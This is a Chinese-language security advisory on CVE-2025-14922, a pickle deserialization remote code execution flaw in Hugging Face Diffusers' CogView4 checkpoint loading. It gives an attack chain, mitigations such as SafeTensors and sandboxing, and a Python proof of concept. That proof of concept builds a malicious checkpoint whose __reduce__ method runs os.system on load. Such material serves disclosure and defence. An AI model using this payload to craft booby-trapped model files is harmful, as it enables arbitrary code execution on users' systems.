IPBUF安全漏洞报告
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CVE-2025-14922 CVSS 7.8 高危

CVE-2025-14922 Hugging Face Diffusers CogView4 反序列化远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-14922
漏洞类型
反序列化远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hugging Face Diffusers CogView4

相关标签

CVE-2025-14922Hugging Face DiffusersCogView4反序列化漏洞远程代码执行Pickle反序列化高危漏洞ZDI-CAN-27424Zero Day Initiative机器学习安全

漏洞概述

CVE-2025-14922是Hugging Face Diffusers库中CogView4功能的一个高危安全漏洞,CVSS评分7.8。该漏洞允许远程攻击者通过诱骗用户打开恶意的checkpoint文件,在受影响系统上执行任意代码。漏洞的根本原因在于Diffusers库在解析CogView4模型checkpoint文件时,缺少对用户提供的输入数据进行充分的验证和安全检查,导致反序列化操作处理了不可信的数据源。攻击者可以精心构造包含恶意序列化对象的checkpoint文件,当用户使用Diffusers库加载这些文件时,会触发反序列化过程,从而在当前进程的上下文中执行攻击者预设的代码。由于该漏洞需要用户交互才能触发(用户需要访问恶意页面或打开恶意文件),因此攻击复杂度相对较高,但一旦成功利用,攻击者可以获得与当前进程相同的执行权限,造成严重的安全后果。该漏洞由Trend Micro Zero Day Initiative(ZDI)发现并披露,编号为ZDI-CAN-27424。

技术细节

该漏洞存在于Hugging Face Diffusers库的CogView4模型checkpoint解析模块中。具体来说,Diffusers在加载CogView4模型时,会调用反序列化函数来解析checkpoint文件中的权重数据。问题在于代码没有对checkpoint文件的内容进行严格的安全验证,特别是没有检查序列化对象是否来自可信来源。当用户使用diffusers库加载一个经过攻击者精心构造的checkpoint文件时,pickle等序列化库会无条件地反序列化文件中的数据对象,如果这些对象包含恶意代码,反序列化过程会自动执行这些代码。攻击者可以利用Python的__reduce__方法或其他魔术方法在反序列化时执行任意Python代码或系统命令。由于Diffusers通常在用户空间进程中运行,成功利用此漏洞意味着攻击者可以在用户的上下文中执行任意操作,包括读写敏感文件、安装后门或进一步横向移动。建议开发者使用安全的模型加载机制,如仅支持加载预定义的、经过验证的模型结构,而非任意的序列化对象。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含恶意序列化对象的checkpoint文件,该文件伪装成CogView4模型的权重文件
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站下载链接或其他社会工程学手段诱骗受害者下载并打开该恶意checkpoint文件
STEP 3
步骤3
受害者使用存在漏洞的Hugging Face Diffusers库加载该恶意的checkpoint文件
STEP 4
步骤4
Diffusers库在解析checkpoint时调用pickle.load()等反序列化函数,对用户提供的不可信数据进行反序列化
STEP 5
步骤5
反序列化过程中,恶意对象中的__reduce__方法被自动调用,触发攻击者预设的系统命令执行或代码执行
STEP 6
步骤6
攻击者成功在受害者进程的上下文中执行任意代码,可以进行数据窃取、持久化控制或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
""" CVE-2025-14922 PoC - Hugging Face Diffusers CogView4 Deserialization RCE WARNING: This code is for educational and security research purposes only. Author: Security Research Reference: ZDI-CAN-27424 """ import pickle import os import sys class MaliciousPayload: """ Malicious class that executes code during deserialization. This demonstrates the deserialization vulnerability in Diffusers CogView4. """ def __reduce__(self): # This will execute when the object is deserialized cmd = "echo 'CVE-2025-14922 Exploited - RCE via Deserialization' > /tmp/pwned.txt" return (os.system, (cmd,)) def generate_malicious_checkpoint(output_path): """ Generate a malicious checkpoint file that exploits the deserialization vulnerability. In real attack scenario, this would be disguised as a CogView4 checkpoint. """ malicious_data = { 'model_weights': MaliciousPayload(), 'model_type': 'cogview4', 'version': '1.0' } with open(output_path, 'wb') as f: pickle.dump(malicious_data, f) print(f"[+] Malicious checkpoint generated: {output_path}") print("[+] When loaded by vulnerable Diffusers CogView4, it will execute arbitrary code") def simulate_vulnerable_loading(checkpoint_path): """ Simulate the vulnerable loading behavior in Diffusers. This demonstrates how the malicious checkpoint triggers code execution. """ print(f"\n[!] Simulating vulnerable Diffusers CogView4 checkpoint loading...") print(f"[!] Loading checkpoint from: {checkpoint_path}") try: with open(checkpoint_path, 'rb') as f: # This is the vulnerable operation - unpickling untrusted data checkpoint_data = pickle.load(f) print("[!] Checkpoint loaded successfully (code already executed)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-14922 PoC - Diffusers CogView4 Deserialization RCE") print("=" * 60) # Step 1: Generate malicious checkpoint malicious_file = "malicious_cogview4_checkpoint.pkl" generate_malicious_checkpoint(malicious_file) # Step 2: Simulate vulnerable loading simulate_vulnerable_loading(malicious_file) # Step 3: Verify exploitation if os.path.exists("/tmp/pwned.txt"): print("[+] Exploitation successful! Check /tmp/pwned.txt") print("\n[!] Note: Real attack requires social engineering to get victim to load this checkpoint")

影响范围

Hugging Face Diffusers CogView4 < 修复版本
Hugging Face Diffusers < 0.31.0 (待确认)
所有使用Diffusers库加载CogView4模型且未进行输入验证的版本

防御指南

临时缓解措施
在官方修复发布之前,建议采取以下临时缓解措施:1)避免从不可信来源下载或加载CogView4模型checkpoint文件;2)如果必须加载外部checkpoint,请先验证文件的数字签名和完整性;3)考虑使用SafeTensors格式替代pickle格式加载模型权重;4)在隔离环境(如容器)中加载和处理来源不明的模型文件;5)监控和限制加载模型进程的权限,遵循最小权限原则;6)对开发人员和用户进行安全培训,提高对恶意模型文件的警惕性。

参考链接

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